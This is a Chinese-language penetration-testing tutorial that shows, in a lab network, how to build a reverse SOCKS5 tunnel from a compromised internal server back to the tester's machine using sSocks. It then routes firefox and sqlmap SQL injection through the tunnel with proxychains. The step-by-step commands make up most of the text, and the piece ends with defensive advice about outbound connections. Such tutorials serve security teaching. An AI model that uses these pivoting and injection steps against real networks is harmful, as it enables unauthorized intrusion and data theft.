Socks代理反彈突破內網
隨著信息安全意識的提升,越來越多的信息系統前端均部署有防火墻,系統管理員根據業務需求將內部必要的服務端口通過端口映射等手段映射到公網中,如默認web服務端口80、MSSQL數據庫服務端口1433等。通過部署防火墻可以將信息系統內部區域與公網邏輯隔離開來,利用相關的策略有效避免或減輕來自外部的攻擊。對于滲透測試者來說,如何繞過防火墻的阻擋在內網展開滲透測試成為亟需解決的問題,本文介紹了在奪取映射到外網的內網服務器權限后,如何利用socks代理反彈獲得內網訪問權限。
1. sSocks
sSocks是一個socks代理工具套裝,可用來開啟socks代理服務,支持socks5驗證,支持IPV6和UDP,并提供反向socks代理服務,即將遠程計算機作為socks代理服務端,反彈回本地,極大方便內網的滲透測試,其最新版為0.0.13,可在以下鏈接處下載。http://sourceforge.net/projects/ssocks/下載解壓后,執行命令編譯。./configure && make
編譯完成,進入src目錄,會發現有nsocks、ssocksd、ssocks、rcsocks,其功能說明介紹如下:
程序 功能
nsocks 類似通過Socks5代理后的netcat,可用來測試socks server
ssocksd 用來開啟Socks5代理服務
ssocks 本地啟用Socks5服務,并反彈到另一IP地址
rcsocks 接收反彈過來的Socks5服務,并轉向另一端口
2.模擬網絡環境說明 本文模擬的網絡環境見下圖1,滲透測試端IP為192.168.10.50,內網區域IP段192.168.206.0/24,內網區域能正常訪問192.168.10.0/24,現假設已獲得192.168.206.130權限。
3.實施Socks代理反彈
1)本地監聽端口
在滲透測試端192.168.10.50執行./rcsocks -l 1088 -p 1080 -vv
等待遠程Socks5服務器訪問本地1080端口,創建端口1080與本地端口1088的連接通道,如圖2。
2)開啟Socks5代理服務,反彈
在192.168.206.130上執行./rssocks -vv -s 192.168.10.50:1080
啟用Socks5服務,反彈到192.168.10.50的端口1080上,如圖3。
此時在滲透測試端192.168.10.50可看到通道連接成功,效果如圖4。
4.利用proxychains進行Socks5代理
通過前面的步驟,Socks5代理已創建完成了。由于在滲透測試過程中,需要使用不同的工具程序,而在各程序中分別配置Socks5代理信息較為繁瑣,而部分程序并不支持配置Socks5代理。為了簡化這些操作,我們可以采用proxychains。
proxychains是一個代理客戶端軟件,可以支持幾乎所有程序的代理,如ssh,telnet,ftp等。利用proxychains,程序能在代理的環境下被加載運行,而本身不需要具備代理功能。使用前需要對proxychains進行簡單配置,打開配置文件proxychains.conf(在BT5位于/etc/proxychains.conf),如圖5所示,在[ProxyList]處添加
socks5 127.0.0.1 1088
配置成功后若要啟動程序,僅需要在啟動程序命令前加上proxychains。
1)啟用瀏覽器firefox,在終端執行命令:proxychains firefox
firefox啟動成功,訪問192.168.206.135的web服務如圖6,通過代理訪問成功。
2)利用sqlmap進行注入:
先切換到sqlmap目錄
cd /pentest/database/sqlmap
proxychains python sqlmap.py -u “存在SQL注入的鏈接” –dbs
注入成功,注入點信息及獲取數據庫信息如圖7所示。
5.后記
由于系統管理員的疏忽或者業務需求所致,防火墻一般僅對由外向內發起的數據連接進行嚴格判斷、過濾、甚至阻斷而忽略由內往外的連接。因此,在此種情況下,通過攻陷映射到公網的端口服務,利用反彈便可獲取內網訪問權限,給內網安全帶來極大的威脅。在信息安全建設與運維過程中,不僅要加強映射到公網的服務安全,也要重視由內到外連接的安全威脅。